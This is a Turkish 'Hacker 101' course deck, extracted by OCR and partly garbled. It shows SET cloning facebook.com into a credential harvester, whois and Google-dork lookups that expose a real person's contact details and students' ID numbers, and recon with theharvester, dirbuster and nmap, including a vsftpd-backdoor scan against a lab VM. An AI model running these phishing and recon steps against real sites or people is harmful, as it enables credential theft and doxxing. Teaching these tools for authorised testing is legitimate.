birlestiriimesiyle olusturulan Turkge'ye yemleme (oltalama) olarak gevrilmis bir
saldiri ¢cesididir.

Genelde bir kiginin sifresini veya kredi karti ayrintilarini 6grenmek amaciyla
kullanilir. Bir banka veya resmi bir kurumdan geliyormus gibi hazirlanan e-posta
yardimiyla bilgisayar kullanicilari sahta sitelere yonlendirilir.

Phishing saldirilari i¢in ‘Bankalar, Sosyal Paylagim Siteleri, Mail Servisleri,
Online Oyunlar vb. sahte web sayfaklari hazirlanmaktir.
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SET (Social Engineering Toolkit) :

set Kali Linuxta kurulu gelmektedir. Oltalama site olusturmak icin direk bir siteyi

kopyalayabilme , metasploit ile haberlesebilen web site ataklarina imkan veren
bir aractir.

Burada kopyaladigimiz siteyi guzel bir domaine atarak onu yutturup bilgi
calinabilmektedir.



Follow us on Tﬁiffér. ; tedSec
Follow me on Twitter: @HackingDave
Homepage: https:/ www.trustedsec.com

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

Join us on irc.fresnode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https:/ /www.trustedsec.com

Select from the menu:

Social-Engineering Attacks
Fast-Track Penetration Testing
Third Party Modules

Update the Social-Engineer Teoolkit
Update SET configuration

Help, Credits, and aAbout

M Wk
o Pl i ka8

Exit the Social-Engineer Toolkit




SET (Somal Englneerlng Toolklt)

5 I EMarre... JI: 3.:

The one SE needs.

Jdoin us on irc.freencde.net i1n channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https:/ /www.trustedsec.com

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Ardulno-Based Attack Vector
Wireless Access Point Attack Vector
QOFCode Generator Attack vector
FPowershell Attack Vectors

Third Party Modules

b= ol

[ R L I

(S e e e R

=
0 0D m = m

0

et

Return back to the main menu.

t= 2




SET (Social Engineering Toolkit) :
Y e - L | sett
The HTA Attack method will allow you to clone a site and perform powershell inje

i;tion through HTA files which can be used for Windows-based powershell exploitat
[1on through the browser.

|

| Java Applet Attack Method
Metasplolt Browser Exploit Method

| 2) Credential Harvester Attack Method

Tabnabbing Attack Method
Web Jacking Attack Method
Multi-aAattack wWeb Method
Full Screen Attaclk Method
HT A Attack Method

Return to Main Menu
le =3

The first method will allow SET to import a list of pre-defined web
applications that 1t can utilize within the attack.

The second method will completely cleone a website of your choosing
and allow you to utilize the attack wvectors within the completely
same web application you were attempting to clone.




SET (Social E

I

The first method will allow SET to import a Llist of pre-defined web
applications that 1t can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to i1mport your own website, note that you
should only have an index.html when using the import webhsite
functionality.

1 web Templates
Site Cloner
3) Custom Import

K

959) Return to Webattack Menu

[-1 Credential harvester will alleow you to utilize the clone capabilities within
SET

[-1 to harvest credentials or parameters from a website as well as place them 1in
o a8 Fepart

[-1 This option 1s used for what IP the server will POST to.

-] If you're using an external IP, use your external IP for ‘this




SET (Somal Englneerlng Toolklt)

. i - o Hﬂ&i1 . Load:%a'=8!
you're leﬂﬂ an ext¢|nal IP, use your external IP for thlh
' - IP address for the POST back in Harwvester/Tabnabbing:192.1682.237.

[- ] SET supports both HTTP and HTTPS
[-]1 Example: http://www.thisisafakesite.com
t:webattacks= Enter the url to clone:https://facebook.com

[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bait...

[*] Apache is set to O everything will be placed in your web root directory o

f apache.

[*] Files will be written out to the root dlrﬁhf-|~ nf dP1LhH.

[*] aLL files are within your Apache Jllﬁut y since you specified 1t to ON.

[!] Apache may be not runninq. do you want ;ET to 5tart the process? [y/nl:
ok ] Starting apacheZ (via systemctl): apacheZ.service.

pache webserver 1s set to ON. Copying over PHP file to the website.

Please note that all output from the harvester will be found under apache dir/ha
rvester_date.txt

Feel free to customize post.php in the svarfwwe/html directory

[*] all files have been copied to /var/wew/html

{Press return to continue}~C

he wWeb Attack module 1s & unigque way of utilizing multiple web-based attacks 1
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SET (Social Engineering Toolkit) : Sosyal MUhendiSlik

& C | ® 192.168.237.128 EA 2 0O 8 @ % B

/i, Daha iyi bir Facebook deneyimi i¢in, normal sitemize ge¢ veya tarayicini giincelle.

facebook w

Facebook'a Giris Yap

Hesabint mi unuttun? - Facebook'a Kaydol

Tiirkge  Kurdi (Kurmanci} <u<Y English (UK} Deutsch Pycckwid Francais (France) —j¢ Nederlands Espafiol Porugués (Brasil) | 4
Kaydol Girig Yap Messenger Facebook Lite Mahil Arkadaglarnim Bul Kigiler Sayfalar Yerler Oyunlar Konumlar
Onliler Gruplar Moments Instagram Haklkimizda Reklam Clugtur Sayfa Olugtur Geligtiriciler Kariyer Olanaklarn Gizlilik Gerezler

ard Chaicac s Wrenllar Wardum

@
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1-whois Bilgileri

Bir sitenin whois bilgileri ile kime ait oldugu adres,mail,telefon hosting
firmasi gibi bir ¢cok bilgi edinebiliriz.Bunu https://who.is/ gibi bir ¢gok
online siteden ve linux’a terminale whois siteadi seklinde yazarak
whois bilgilerini 6grenebiliriz.



https://who.is/
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Premium

Important Dates

Expires On 2017-05-13
Registered On 2014-05-13
Updated On 2016-06-29

Mame Servers

ns1.webadam.com 108 232 . 220.189

ns2. webadam.com 108 232 .221_189

Registrar Data

Registrant Contact Information:

Mame Ahmet Gurel
Oorganization M A

Address Isparta

City Isparta

sState / Prowvince Istanbul

Postal Code sa650

Country TR

Phone +98.05456744a78
Email ahnetS57942gnail.con

Administrative Contact Information:
Mame Ahmet Gurel
Organization LA

https://who.is/ sitesinde www.gurelahmet.com Sorgulamasi
s



https://who.is/
http://www.gurelahmet.com
https://who.is/

1#

Domain names in
with many c
for detailed

the
different cc
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Reul“trar'
soring

Server:
ral LURL:
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Status:
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Creation Date:

Expiration Date:
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Last update of
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MOTICE: The expiration
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currently

date nam
- 1 sers may
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are

the wu
re

OF USE: You
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aexcept as
reg

ha
automated
modify existing

Services'
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2-Arsiv Siteleri:

www.archive.org adresinde sitelerin belli donemlerdeki kaydedilmis halleri
bulunmaktadir.Buradan hedef site hakkinda vyillar 6ne olup suan yayinda
bulunmayan bilgilere erisebilirsiniz.

https://www.shodan.io/ ya goz atmay! unutmayin :)



http://www.archive.org
https://www.shodan.io/
https://www.shodan.io/
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INTERNET ARCHIVE

llla!lunﬂl'l mgﬂ“["ﬂ http://gurelahmet.com BROWSE HISTORY

http:/ /gurelahmet.com

Saved 16 times between Mayis 17, 2014 and Mart 15, 2016.

PLEASE DONATE TODAY. Your generosity preserves knowledge for future generations. Thank you.

III il

1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 20080 2010 2011 2012 2013 2014 2015 2016

OCA 5UB MAR NIS
1 2 1 2 3 4 5 & § 4@ B % 5 5 2
3 4 5 & 7 & 9 T 8 9 10 # 12 13 6 T 8 9 10 M 12 3 4 5 & T & 9
0 11 12 13 14 15 18 14 15 16 17 18 18 20 13 14 15 16 17 18 19 w1 12 13 14 15 16
17 18 19 20 21 2 23 21 22 23 284 35 26 27 20 21 22 23 24 25 26 17 18 19 20 21 22 23
24 25 26 27 28 29 30 28 29 27 28 29 30 31 24 25 26 27 28 29 30
31
MAY HAZ TEM AGU




Hacker 101 : Bilgi Toplama

3-Arama Motorlari:

Arama motorlarinin indexledigi cok degerli bilgiler bulunmakta ve Google Hacking
dedigimiz ileri arama metodlari bulunmakta bazi sifreler ve acikliklari bulunan
google dorklari mevcut bunun disinda bilgi toplamak igcinde Google Hacking
parametreleri vardir.

Ahmet Gurel site:sdu.edu.tr ext:pdf numrange:00000000000-99999999999

Yukaridaki arama hedef odakli bir arama sdu.edu.tr sitesinde pdf tirundeki
dosyalarda 00000000000-99999999999 sayi araligi ve Ahmet Gurel gegen
dosyalari getirecek.
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Gor‘)gle Ahmet Girel site:sdu.edu tr ext:pdf numrange:00000000000-99999999 Em 0, E

Tiimii Haberler Videolar Gorseller Haritalar Daha fazla « Arama araclan

Yaklagik 42 sonug bulundu (0 67 saniye)

FBA 2015-2016 Akademik Yili Erasmus+ Ingilizce Dil Sinavi Sonuclari
erasmus.sdu.edu.trf._/2015-2016-erasmus-ingilizce-dil-sinavi-sonuclari-02032015.pd... ~

88 1140203003 HULYA TEK. ingilizce. 86. 0911601107 MERVE AKDENIZ ... 74. 1211601046
HATICE BEYZA ADAMNIR. ingilizce. 741212802022 HILAL SALCAMN ... 74 2015-2016 Akademik ¥l
Erasmus+ ingilizce Dil Sinawvi Sonuclan ... 621311008030 DAMLA NUR GENC. ingilizce. 62.
1323705006 ELCIM CARKMAK.

FEA Ay Ogrenci No Bolum/Program Sinav Yeri

erasmus.sdu.edu trf.._/24-02-2014-erasmus-dil-sinav-salonlari-ve-yerlesim-plani-1802.._ -
1211001104, ingaat Mihendisligi ... 1111014036. Makine Mahendislidi ... 0911403105 .. Ahmed
Mohammed Bedu ... Ahmet Atanur COSKUN .. Ahmet Emre CETINTURK ... Ahmet Giirel ...
05063098910 ...... Fen Edebiyat Fakiltesi - 161.

POl 24 02.2016 tarihinde yapilan Erasmus Dil Sinav Sonucu

erasmus.sdu. edu trfassets/uploads/sites/280/__ fingilizce-dil-sonuc-2016-01032016.pdf ~

24 Sub 2016 - GNGGLGZCE. 80. 1512802026 ahmet erol. GNGGLGZCE. 78 ... 74 1512802012
Zeynep Yavuz. GNGGLGZCE. 74. 24.02.2016 ... 0330138513 Gilistan Boylu ... GNGGLGZCE. 62.
1311011037 gizem nur temir. GNGGLGZCE. 62 ... 46. 1514905028 esra KAYA. GNGGLGZCE. 46.
1312001021 Fatma Gl ...

PO A dhi Soyad Odrenci No Sinav Salonu ABDISHAKUR OSMAN DAHIR ...
erasmus. sdu. edu_trfassets/uploads/sites/280/files/yerlestirme- 18022015 pdf -

18 Sub 2015 - Ahmet. Giirel. 1221012006 Ertokusbey Derslikleri AMFi |. Ahmet ... 091006007 ...
glirel. 1222702016 Ertokusbey Derslikleri AMFI I atakan udur kinay ... 0921003015 Ertokushey
Derslikleri AMFI 1l ... 05364994293 Erokusbey Derslikleri A 103 ... 1330201144 Ertokusbey
Derslikleri A 209 ... Page 32 .

PO 2015 2 Donem 2209-A Desteklenenler. xlisx

httne- a3 edo adn #rfSN1D Filee/Fila/ 2015 2 danam 22N0.a  docfaklananiar nrlf -
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intitle,inurl gibi bir birinden farkli duruma gore parametreler mevcuttur.

Google Hacking Database (GHDB) :
https://www.exploit-db.com/google-hacking-database/ adresinden guncel
acikliklari indexleyen google dorklarina ulasabilirsiniz.

Bing arama motoruna ip:ip adresini yazarak o ip adresindeki tum siteleri
gorebilirsiniz.


https://www.exploit-db.com/google-hacking-database/

Hacker 101 : Bilgi Toplama

4-Sosyal Paylasim Siteleri

Facebook, Twitter,Linkedin,Instagram,Google Plus ve pipl.com gibi sitelerden
arama yaparak hedefler hakkinda detayl bilgi toplanabilir.

5-Blog ,Forum ve Teknik Siteler

Github,Reddit,Stack Overflow ve Pastebin gibi siteler detayli incelenerek hedef
hakkinda bilgiler toplayabiliriz.
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Online olarak hedeflerin yillara gore igletim sistemlerinin tesbit edilmesi igin;

www.netcraft.com

Her turla bilginin bulundugu harika bir bilgi toplama online araci(DNS durumunu
grafik olarak verir):

www.robtex.com

Online bilgi toplama aracglar :

http://www.dirk-loss.de/onlinetools.htm



http://www.netcraft.com
http://www.netcraft.com
http://www.netcraft.com
http://www.robtex.com
http://www.robtex.com
http://www.dirk-loss.de/onlinetools.htm
http://www.dirk-loss.de/onlinetools.htm
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1-theharvester ile Mail ve Subdomain Tespiti

Kalinin iginde bulunan ve terminale theharvester yazip gerekli parametreler ile
bunlari tespit etmek mumkun ornek kullanimina bakmak gerekirse:

theharvester -d gurelahmet.com -1 200 -b google
-d : Hedef sistemin adi girmemizi saglayan parametre
-l : Arama yapilacak liste sayisi 200,500,1000 gibi

-b: Arama yapilacak arama motoru google,bing yada all gibi segenekler mevcut



1# theharvester -d gurelahmet.com -1 200 -b google

o R e R R i R i R i R i R o e R i e e i e R R e i o e S R e e R o e R e R e R R e R

TheHarvester ver. 2.6

Coded by Christian Martorella

Edge-Security Research

cmartorellaf@edge-security.com

L L R DR S G o B i e S i e S i s S e e e e e e i e D o e D S B R U S B S S e R e e e e D i R

*
*
*
-
¥
e
¥
*
*
+
B

[-] Searching 1n Google:
Searching O results...
Searching 100 results...
Searching 200 results...

[+] Emails found:

1nfo@gurelahmet.com
shmet@gurelahmet.com

sts found in search engines:
/1ng hostnames IPs. ..

109.232.220. 231 twww.gurelahmet . com
[root: 1# B




2-traceroute Kullanimi

Traceroute bir paketin istedigi adrese gidene kadar hangi hostlar ve
yonlendirmelerden gectigini gosteren programdir.Yine kali linux icinde kurulu
olarak gelmektedir.Terminalden konsol ile kullanilabilmektedir.

o _usr/bin/gre /usr/sbinjtraceroute gurelahmet.com

[root: 1# traceroute gurelahmet.com

traceroute to gurelahmet.com | ), 30 hops max, 680 byte packets
1 I ) 3 ms 12 ms 47 ms



3-Nslookup Kullanimi

DNS sorgulamasi yapmamizi saglayan guzel bir aractir.

ro li: ~/Desktop
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4- dig ( Domain Information Groper) Kullanimi

dig de detayli DNS sorgulamasi yapan gelismis bir aractir.Kalinin icinde diger bir
cok tool gibi kurulu halde gelmektedir.Nslookup la ayni isi yapmaktadir biraz daha
gelismistir.



root@kaliz ~/Desktop.

s

gurelahmet.com

e 1G ebian -« P com
lobal

; ans
r 34454

= p

QUESTION S

AMSWER SECTIOM:

ALTHORITY SECTIOM:
ADDITIOMNAL SECTIOM:

Query time:

SERVER: 1 5E 3 #S53 | s
WHEM : hu ul L: 41 2016
MSG SIZE rcvd:

[root: 1#




5-whatweb Kullanimi

whatweb bir web sitesi hakkinda temel bilgileri getirir.

root: # whatweb 1-.--'I|ﬂ -|’rr org

vttp:/  ww, ]H"Hﬂdfl org [200] Cookies[aB4c73ac243f4f1873e601boobfanaod], Country
TURKEY][TR], HttpOnly[aB4c73ac243f4f1873e601boobfavaod], IP[109.232.216.14], ma
/be Joomla, PHP[5.6.30], X-Powered-By[PHP/5.6.30]

root: IE:; I
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6-dirbuster Kullanimi

dirbuster hedef bir websitenin alt dizinlerini bulmak icin kullanilan gelismis guzel
bir aractir.Kalide kurulu olarak gelmekte terminale dirbuster yazdigimiz programin
GUI si bulunmakta ve o acilmakta.Bir wordlist belirterek aradiginiz dizinlere ve
daha fazlasina ulasabilirsiniz.



[ root 01:08, 2016-0

File Options About Help | Host: kali Uptime: Oh 33m 38s

Target URL {eg http:/fexample. com: 80/]

:h.t'tp:ffrnu'ﬁ.tesemyeme.kfarif’ler'l. com:BOf

work Method Use GET requests only (5 Auto Switch (HEAD and GET)

Murmnber Of Threads =T} 2 10 Threads [ | Go Faster NAME PID
Xorg 845

conky 1466

: ; vmtoolsd 1282

Select scanning type: (%) List based brute force ) Pure Brute Force s et 1278
File with list of dirsfiles java 5185
|/root/Desktopswordlist || | @ List Info |
: — RAM

Select starting options: +) Standard start point URL Fuzz

[#] Brute Force Dirs [v] Be Recursive Dir to start with |/ = 88
L own :

Up: 6B
1 s — " . D loaded: 63.7MiE Uploaded: 2. i
v| Brute Force Files [] Use Blank Extension File extension il s, bz

waordli Down: @B (E/s Up: 6B
2 = Downloaded: OB Uploaded:

=T ' I\ N\ [
Flease complete the test details

Inbpound: ® Outbound: @ Total: @
Inbound Local Service/Port

Qutbound Remote Service/Port




File Options About Help

http:/imuhtesemyemektarifleri. corm: 80/
@ Scan Information ', Results - List Wi

Testing for dirs in /

;I'esting for files in / with extention .php

;I'esting for dirs in jwp-content/

;I'esting for files in fwp-content/ with extention .php
;restlng for dirs in fegi-bins

;restlng for files in fcgi-bins with extention .php
;restlng for dirs in swp-adrmins

Current speed: 33 requests/sec

Average speed: (T} 0, (C) 23 reguests/sec
Parse Queue Size: O

Total Requests: 33/42

Time To Finish: ~

Starting dirfile list based brute forcing

[ root D1:10,

: 1% Results - Tree View

O

[ compete |

{Select and right click for more options}

o

(Of| |o

0

.D‘

0

Current number of running threads: 10
|_Change_

Host: kali Uptime: ©@h 35m 58

MHz:

Down: 3.91KiB KB/s : 1.62
Downloaded: 63.9MiE Uploaded: 2.86MiB

N~ WJM [ ad

Down: eB { p: 6B
Downloaded: Uploaded:

N [ ]

Inbpund: @ Outbound: 6 Total: &
Inbound Local Service/Port

Qutbound Remote Service/Port
185.101. http
185.111. : http
185.111.232. http
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OWASPE DirBuster 1. 0-H( - Web App lication Brule Forcing

File Options About Help

hitp: ffimubtesemyemektarifleri.com: BOJ
@ Scan Information | Results - List View: Dirs: 27 Files: 1 Results - Tree View ' M\ Errors: 0

[ DiectoryStucture = |  Response Code | Response Ste
=372 200 58912 -
| @& (3 wp-content 200 352
B G5 cgi-bin 403 1547
| & Ca wp-admin 302 735
[ wplogin.php 200 5474
‘ #  category 77 Eeed
-1 tarif-yolla 200 S50
| B0 cevizliincirtatlisitarifi 200 &00
- E3 sac-katmeri-tarifi 200 G609
& 03 ev-baklavasi-tarifi 200 608 !
Lﬁ Ca author T e
@ 3 ballitahinli-corek-tarifi 200 S1al] i
200 &0G -
Current speed: 30 requests/sec {Select and right click for more options)
fverage speed: (T} 0. {C) 29 requestsisec
Parse Queue Size: 0 Current number of running threads; 10
Total Requests: 73/273 | [ change |
Time To Flrish: -~
[ ®oac | rause J[__Dstop ] (= repor ]
Starting dirffile list based brute forcing fcategory/beyaz-et -tarifleriwp-admin/




Temel Nmap Kullanimi | Nmap Hakkinda

Nmap (Network Map) acik kaynak kodlu gelismis bir givenlik yazilimidir.

Taranan networkun ag haritasini ¢ikarabilir,calisan servisleri tespit edebilir
kullanilan isletim sistemi bulunabilir.Hatta NSE (Nmap Scripting Engine) ler
kullanarak bazi acikliklar tespit edilebilir,brute force saldirilari gerceklestirilebilir.

Bir network hakkinda en detayli bilgi toplama aracglarindan birisidir.Simdi Temel
Nmap kullanimi ve tarama parametlerini inceleyeceqgiz.

Nmap konsoldan ¢alismaktadir.Grafiksel arayuz olarak kullanmak icinde Zenmap
adli grafiksel araytuzu bulunmaktadir.Nmap Kalide kurulu olarak gelmektedir.



Temel Nmap Kullanimi | Nmap Donen Sonuclar

Nmap bir istemciyi veya sunucuyu bir ¢ok farkli sekilde tarayabilir ve buna goére sonuglar getirir.Bunlar
genelde calisan port,uzeriende calisan servisler ve isletim sistemi bilgisidir.Portlarin durumlar su sekilde
gelebilir:

Open(Acik): Portun erigilebilir oldugu Uzerinde bir uygulamanin TCP yada UDP baglantisi kabul ettigi
durum

Closed(Kapal): Port erigilebilir fakat izerinde uygulama yok TCP yada UDP baglantisi kabul etmiyor
Filtered(Filtreli): Bir paket filtreleme var portun agik kapali durumuna karar veremiyor

Unfiltered(Filtresiz):ACK Scan taramasinda port erigilebilir fakat acik yada kapali durumuna karar
veremiyor

Open | Filtered : UDP, IP Protocol, FIN, Null, Xmas Scan igin Nmap portlarin agik veya filtrelenmis
olduguna karar veremiyor

Closed |Filtered: Idle Scan icin Nmap portlarin kapali veya filtrelenmis olduguna karar veremiyor
S



Temel Nmap Kullanimi

Nmap komut kullanimi:
nmap [tarama turu] [parametresi] [hedef]

Nmap tarama komutu yukaridakine uygun olacaktir Nmap in tarama turleri var
onlara deginecegiz hedef kismi bir ip adresi,domain yada ip adresi bulunan bir txt
olabilmektedir.



Temel Nmap Kullanimi | Nmap Tarama Turleri

TCP SYN (half open) Scan:

Hedefe TCP SYN gonderilir
Portlarin kapali oldugu durumlarda hedef makina cevap olarak RST + ACK doner.
Portlarin acik oldugu durumlarda ise hedef makina SYN + ACK bayrakli segment doner.

Son olarak RST bayrakl segment gondererek baglantiyi koparir ve boylelikle TCP Uglu el sikisma

(TCP three-way handshaking) tamamlanmaz. Ve iz birakmaz.

nmap -sS -v 192.168.237.129


https://tr.wikipedia.org/wiki/TCP
https://tr.wikipedia.org/w/index.php?title=TCP_%C3%BC%C3%A7l%C3%BC_el_s%C4%B1k%C4%B1%C5%9Fma&action=edit&redlink=1

Temel Nmap Kullanimi | Nmap Tarama Turleri

TCP Connect Scan

Kaynak makinanin gergeklestirecegi TCP Connect Scan,
Kapall portlara yapildigi zaman RST + ACK doner

Acik portlara yapildiginda SYN + ACK gonderir, kaynak makina ACK bayrakli segment gondererek

cevaplar ve Ucli el sikismayi tamamlar.iz birakir.

nmap -sT -v 192.168.237.129



Temel Nmap Kullanimi | Nmap Tarama Turleri

UDP Scan

UDP portlarini taramak icin kullanilir , ICMP Port Unreachable cevabi donduriliyorsa port kapali

Cevap yoksa open(filtered kabul edilecektir.

UDP paketi donerse port acik kabul edilir.

nmap -sU -v 192.168.227.129



Temel Nmap Kullanimi | Nmap Tarama Turleri

FIN (stealth) Scan

FIN bayrakli paket gonderilir ,

Hedef makinanin kapali bir portuna gelirse

Hedef makina RST + ACK bayrakli paket dondurecektir.

Eger acik portuna gelirse hedef makinadan herhangi bir tepki ddnmeyecektir.

nmap -sF -v 192.168.237.129



Temel Nmap Kullanimi | Nmap Tarama Turleri

ACK Scan

Bu tarama turinde kaynak makina hedef makinaya TCP ACK bayrakli paket gonderir.

Eger hedef makina ICMP Destination Unreachable mesajini donerse ya da hedef makinada bu

taramaya karsilik herhangi bir tepki olusmazsa port “filtered” olarak kabul edilir.

Eger hedef makina RST bayrakl paket dondururse port “unfiltered” kabul edilir.

nmap -sA -v 192.168.237.129



Temel Nmap Kullanimi | Nmap Tarama Turleri

Xmas Scan

Kaynak bilgisayarin TCP segmentine URG,PSH ve FIN bayraklarini set edecegi ("1" yapilacagi) paket

hedef makinaya gonderilir.
Egder Kaynak makinanin gonderecedi URG,PSH ve FIN bayrakli paket,

Hedef makinanin kapal bir portuna gelirse hedef makina RST + ACK bayrakli paket dondurecektir.

Eger port acik olursa hedef makinadan herhangi bir tepki ddnmeyecektir.

nmap -sX -v 192.168.237.129



Temel Nmap Kullanimi | Nmap Tarama Turleri

Null Scan

Kaynak makinanin gonderecegi bayraksiz paketler karsisinda hedef makinanin verecegi tepkiler

FIN Scan ile aynidir.
Hedef makinanin kapali bir portuna gelirse hedef makina RST + ACK doner

Eger port acik olursa hedef makinadan herhangi bir tepki donmeyecektir.

nmap -sN -v 192.168.237.129



Temel Nmap Kullanimi | Nmap Tarama Turleri

Ping Scan
Bu tarama turtunde tek bir ICMP Echo istek paketi gonderir.

IP adresi erigilebilir ve ICMP filtreleme bulunmadigi surece, hedef makina ICMP Echo cevabi

dondurecektir,
Egder hedef makina erisilebilir degilse veya paket filtreleyici ICMP paketlerini filtreliyorsa,
Hedef makinadan herhangi bir cevap donmeyecektir.

nmap -sP -v 192.168.237.129



Temel Nmap Kullanimi | Nmap Tarama Turleri

IP Protocol Scan
Bu tarama turu standart NMAP tarama turlerinden biraz farkhdir.

Bu tarama turinde hedef makinalarin tGzerlerinde galisan IP tabanli protokoller tespit edilmektedir.
Bu ylzden bu tarama turtine tam anlamiyla bir port taramasi demek mumkun degildir. Hedef
makina Uzerinde, taramasini yaptigimiz IP protokolu aktif haldeyse hedef makinadan bu taramaya
herhangi bir cevap gelmeyecektir. Hedef makina Uzerinde, taramasini yaptigimiz IP protokoll aktif
halde degilse hedef makinadan bu taramaya, tarama yapilan protokolun tarine gore degisebilen

RST bayrakh (RST bayragi "1" yapilmis) bir segment cevap olarak gelecektir.

nmap -sO -v 192.168.237.129


https://tr.wikipedia.org/wiki/IP_adresi

Temel Nmap Kullanimi | Nmap Tarama Turleri

Window Scan
Window Scan, ACK Scan turine benzer ancak bir onemli farki vardir.

Window Scan portlarin acgik olma durumlarini yani “open” durumlarini gosterebilir. Bu taramanin
ismi TCP Windowing isleminden gelmektedir. Bazi TCP yiginlari, RST bayrakli segmentlere cevap
dondurecegi zaman, kendilerine 6zel window boyutlari saglarlar. Hedef makinaya ait kapali bir

porttan donen RST segmentine ait window boyutu sifirdir.
Hedef makinaya ait acik bir porttan donen RST segmentine ait window boyutu sifirdan farkl olur.

nmap -sW -v 192.168.237.129



Temel Nmap Kullanimi | Zenmap

& @ B & zermap B Zenmap [ root 11:32, 2016-0?-23

Uptime: Oh 2m 1ls
Zenmap TS (=]

Scan Tools Profile Help
Target: 192.168.237.129 Profile:  Regular scan

Command: npmap 192.168.237.129

Hosts Services Mrmap Output ports / Hosts Topology Host Details Scans
Host nmap 192.168.237,129 Details

1892,168.237.1
Starting Nmap 7.901 S /mmap . orgEEEREE 0] 6-07-23
Mmap scan report Tor IRPRERERecybelr
Host is up (0.00011s latency).
977 closed ports

STATE SERVICE

open

open

open

open

open

open
open
open
open

Filter Hosts rmiregistr




nmap -sS -sV -Pn -top-ports 10 192.168.237.129

-sS: Syn Taramasi -sV : Versiyon bilgisi -Pn: ping atma -top-ports10: en ¢ok kullanilan 10 portu tara

[root: 1# nmap -s5 -sV -Pn

Starting

ocaldomain; 0Ss: Unix, Linux; CPE: cpe:/ rnel

rt any 1inc
= v ek e




nmap -sS -sV -Pn -T4 -p- 192.168.237.129

-sS: Syn Taramasi -sV : Versiyon bilgisi -Pn: ping atma-T4: Tarama hizi hizli bir tarama -p-: tim portlari tara

Reason: 65505 resets
STATE SERVICE REASON VERSIOM
open Ttp syn-ack ttl 64 vsftpd 2.3.4
open  ssh syn-ack ttl 64 OpenSsSH 4.7pl Debian S8ubuntul (protoceol Z.0)
open  telnet syn-ack ttl 64 Linux telnetd
open  smktp 5 : ttl 54 Postfix smtpd
open  domain sy ttl 64 ISC BIND 9.4.2
open  http sy ttl 64 Apache httpd z.z2.8 ({(Ubuntu) DA
open  rpchind -k ttl 84 Z (RPC #100000)
open  netbios- s: sy ttl 54 Samba smbd ¥ (workgroup: WORKGROUR)
open netbios-s: SYN- 2 ttl 64 Samba smbd 3.X (workgroup: WORKGROUR)
open exec sy ttl 54 netkit-rsh rexecd
open  login? / ¢ ttl 84
open tcpwrapped sy tEl 64
open rmireglistry sy ttl 64 GHNU Classpath grmirega
open  shell sy ttl 54 MetaSp101table root
open nfs sy =k ttl 584 2-4 (RPC #100003)
open  Ttp S) ttl 64 ProFTPD 1.3.1
open mysgl v ttl 84 MysSQL S5.0.51la-3ubuntus
open distccd sy ttl 84 distced w1 ((GNU) 4.2.4 (Ubuntu 4.2.4- lubuntud))
open postgresqgl ¢ ttl 84 PostgresSqL DB .8 - B.3.7
open  wnc sy =k ttl 84 VNC (protocol 3.3)
open  X11 sy ttl 64 (access denied)
open  1rc E ttl 84 Unreal ircd (Admin email admin@Metasploitable.lan)
open  1rc : ttl 84 Unreal irecd (Admin email admin@Metasploilitable.lam)
open ajpl3 Sy ttl 84 Apache Jdserv (Protocol wl.3)
open http y ttl 84 fApache Tomcat/Coyote JSP engine 1.1
open drb Sy ttl 64 RBuby DRb BMI (Ruby 1.8; path fusr/Llib/rubys1.8/drb)
open status ' . ttl 84 1 (RPC #100024)
open  mountd sy -k ttl 64 1-2 (RPC #100005)
open  unknown : ttl 54
open nlockmgr ttl 64 1-4 (RPC #100021)
“ddrﬁﬂg: 00:0C: 29:FA:DD: 2A (VMware)
Service Info: Hosts: metasploitable.localdomain, lecalhost; 0Ss: Unix, Linux; CPE: ez el B
linux_kernsl




nmap -sS -A -Pn -0A sonuc 192.168.237.129

-sS: Syn Taramasi -A : Versiyon ve igletim sistemi bilgisi -Pn: ping atma -oA : 3 farkli formatta tarama ¢iktisini kaydeder.
Parametresi olmadidi icin en  ¢ok kullanilan 1000 port taranmistir. -T Parametreside olmadigi i¢in -T3 hizinda taranmistir.

[root: 1# nmap

Mmap F.01 {
Mmap scan report for
Host is LIp, received
Mot shown: 978 closed
Reason: 2978 resets
PORET STATE SERVICE
21/ tep open Ttp
_fTtp-arnon: Anonymous
ftep open ssh
ssh-hostkey:
1024 60:0ftcf
2048 56:56:24:0f 121

Starting https: Z016-07-24 0OF:
192.153.
arp- response

ports

fAnmap.org
237 .129

(0. 0e024s latencyl].

VERSTI OM
vsTtpd =
(FTP
S Open

code

=] lnqln a1IUWed
syn-ack ttl

A4.7pl Debian S8ubuntul (protocol =2.0)
tel:ic:S5tT:Ba:74:d6:90:24:fa:ca:d5:6c: cd
- tld:de:a7:Zb:ae:51:bl:24:3d:e5: 3
3/ tep open  telnet syn-ack ttl &4 Linux telnetd
ftep open  smtp syn-ack ttl S4 Postfix smtpd
smtp-commands : metasploitable. localdomain, PIPELIMIMNG,
AMCEDST ATUSCODES, SBITMIME, DSK,
| ssl-cert: Subject: commonMame=ubuntu8od-base. localdomain/
Mame=There 1s no such thing cutside US/countryMame=xx
Mot walid before: Z2010-03-17T14:07:45
valid after: ZO10-04-16T14: 07 : 45
Z2016-07-24T7T11:34: 35+000:00; -39s
open domain syn-ack ttl S4 T
| dns-nsid:
| bind.ve
=0 top open

=2

SIZE 10240000, WVWRFY, ETEM, STARTTLS, EMNH

forganizationMame=0COSA/state0rProvince

from scanner time.

BIND 2.49.2

rsion: 9.4.2
http syn-ack ttl sS4 aApache

-header: apachesz.2.8 (Ubuntul DaV/

Metasploitablez - Linux
rpcbhind syn-ack ttl sS4 =

= httpd 2.2.8 ((Ubuntu)
_http-server

http-ta1tle:
1l/tcp open (RPC #1loD0000Q)

service
rpcbind

program

100000

11
_5

sion

portsSproto
111/ tcp

N olololalo]
100003

|

I

1

| Pp(lhfo:
|

|

|

|

| 100003

MMKNNS

" oa

111 /udp
Zoas/tep
2049 udp

rpcbind
nts
nts




nmap --script ftp-vsftpd-backdoor -p 21 192.168.237.129
--script : Nmap scriptlerini kullanmamizi saglar -p 21: Port 21 de scripti galistirir

# nmap --script tTtp-vstipad-backdoor -p 21 192.168.237

Starting Nmap 7.01 ( https://nmap.org | at 2016-07-23 11:56 EOT
Nmap scan report for 192.168.237.129
Host is up, received arp-response (0.00018s latency).
